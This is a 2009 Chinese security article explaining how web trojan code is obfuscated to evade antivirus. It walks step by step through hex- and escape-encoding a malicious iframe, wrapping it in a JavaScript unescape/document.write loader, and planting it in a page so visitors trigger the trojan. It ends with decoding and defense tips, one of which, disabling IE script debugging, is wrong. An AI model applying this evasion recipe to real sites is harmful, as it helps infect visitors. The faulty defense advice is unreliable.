剖析网页木马如何加密代码以逃避追杀

3/13/2009来源:病毒防治人气:4522

  随着网页挂马的流行,杀毒软件也开始紧盯各种网页挂马方式,这让许多黑客很恼火。但是黑客也很快找到了应对的方法,这种方法就是将挂马的网页代码进行加密,打乱原有代码的模样,让杀毒软件无从辨识。难道加密后的网页木马就真的无法防范吗?答案就在下文中。

  瑞星唐威:资深安全工程师,在网络安全方面研究颇深。
  对挂马网页进行加密是黑客经常用的手段,这种手段能够躲避杀毒软件的追杀,因此近年来黑客在进行网页挂马时,通常会选择将已经做好的网页代码进行二次加密甚至多次加密。
  早期黑客多数都只采用简单的Unicode转码来实现加密,但是采用这种加密方式的网页很快就被杀毒软件查杀了,无法再有效地起到免杀作用,因此网页加密也开始逐步升级花样百出,从Escape可转换编码加密到转义字符加密,最后发展到自定义函数来进行加密。

  安全百科:Escape是一个存在于javaScript、VBS等脚本语言中的函数,在Javascript中,Escape函数起着让一些非英语字符在传递过程中进行重新编码再传递的作用。

  网页木马为什么要加密

  网页木马人人恨,杀毒软件对它也是非常关注,也会采取各种防范手段。网页木马的传播就受到限制,为了更好地生存,为了不被杀毒软件等安全工具发现,很多黑客对网页木马进行了加密,增加了杀毒软件查杀的难度,提高了网页木马的生存率。因此,主流的网页木马都是进行过加密的。

  网页木马加密的种类有许多,多数都是利用网页代码各个标准互相转换的特点,进行编码的转换加密,这种加密方式在某种意义上,只是干扰了依靠特征码辨识网页木马的杀毒软件的识别,但并没有将自己加密。因此,现在比较高级的加密手段是在编写脚本语言的时候自己进行函数的定义,然后再进行字符串加密,多制造一些让杀毒软件混乱的门槛,从而让它们无从辨别。

  用字符转换的方式进行加密,就如同我们用中文对一个翻译讲话一样,我们计算机就是这个精通许多语言的翻译,我们将一句话告诉这个翻译,这个翻译随后用英语将这段话抄了下来,然后又用替换密码将这段英文进行简单的替换,最后再将这段英文用莫尔斯电码发送给另外一个能够解密的翻译。

  由于整个过程使用的都只是基本的代码转换,因此任何一个懂英语会莫尔斯电码并了解英文替换密码的人都能够解开这个密码,但是对于不会英语或者不会发电报的人而言,这已经是非常费解的东西了。下面,我们以当前黑客最常用的Escape加密方法为例,剖析网页木马加密的方式和防范方法。

  安全八卦:在密码学的历史上,最有名的替换密码工具是二战时期德军使用的代号为“Enigma”的密码机,Enigma在二战时为德军的闪电战和德国海军的“群狼”潜艇战提供了绝佳的通讯保密措施。为了能够解密Enigma,盟军在英国专门建立破译中心,而在这个中心中诞生了世界上第一台计算机,20世纪最伟大的计算机之父阿兰·图灵就是在破解Enigma的时候产生了许多现代计算机雏形的理论。

  网页木马加密/解密实录

  

  首先编写需要加密的HTML代码,这里选用以下IFRAME框架挂马中的代码:

<iframe src=http://soft.yesky.com width=400 height=300></iframe>

  然后登录转换网站http://tool.chinaz.com。

  在网页中找到“代码转换工具”,然后点击选择下拉菜单中的“URL16进制加密”一项,之后将木马网页链接地址 http://soft.yesky.com输入到地址栏中,点击“加密”后为http://%73%6F%66%74%2E%79%65%73%6B%79%2E%63%6F%6D/ (图1)。

剖析网页木马如何加密逃避追杀

  接着,将加密后的网址粘贴回原来的IFRAME代码中:

<iframe src= http://%73%6F%66%74%2E%79%65%73%6B%79%2E%63%6F%6D/ width=400 height=300></iframe>

  再点击“代码转换工具”菜单中的“Encode加密/解密工具”,将IFRAME代码复制到输入框中,点击“Encode加密”,得到加密后的代码:%3Ciframe+src%3D+http%3A%2F%2F%2573%256F%2566%2574%252E%2579%2565%2573%256B%2579%252E%2563%256F%256D%2F+width%3D400+height%3D300%3E%3C%2Fiframe%3E+
(图2)。

  然后,打开写字板程序,将下列代码输入到写字板中,并将加密代码复制到指定位置:

  <SCRIPT LANGUAGE="Javascript"><!——
  var Words ="把加密生成后的代码复制到此处就 OK 了!"
  function OutWord()
  {
  var NewWords;
  NewWords = unescape(Words)
  document.write(NewWords);
  }
  OutWord();
  // ——>
  </SCRIPT>

剖析网页木马如何加密逃避追杀

  最后,点击“代码转换工具”菜单中的“JS方式加密/解密”,将修改完成的JavaScript代码复制到输入框中,然后点击“JS加密”,完成代码加密过程(图3),再将加密后的代码放入到希望插入木马的网页中即可。以后,当用户访问该网站时,就会激活木马。

剖析网页木马如何加密逃避追杀

  

  安全工程师碰到加密的恶意网页时,同样进入转换网站,然后将那些复杂的代码粘贴到解密的输入框中,再点击“解密”按钮即可解出原文。但是需要注意的是,由于解密涉及到不同的字符编码之间的转换,因此在解密过程中一定要抓住不同编码的特点,例如Escape编码中,通常会以“%”作为开头,在将中文转换为Escape编码后,往往是“%”后面紧跟着小写字母“u”,接下来是4位字母,它们就是16进制的字符。

  一般用户要防范加密过的恶意网页,最好的方法是开启杀毒软件中的脚本过滤功能,或者在IE浏览器“Internet选项”中的“高级”标签中选择“禁用脚本调试”。此外JS加密和URL16进制加密有时在火狐浏览器中会被自动屏蔽,在浏览自己怀疑有危险的网页时,可以选择火狐浏览器。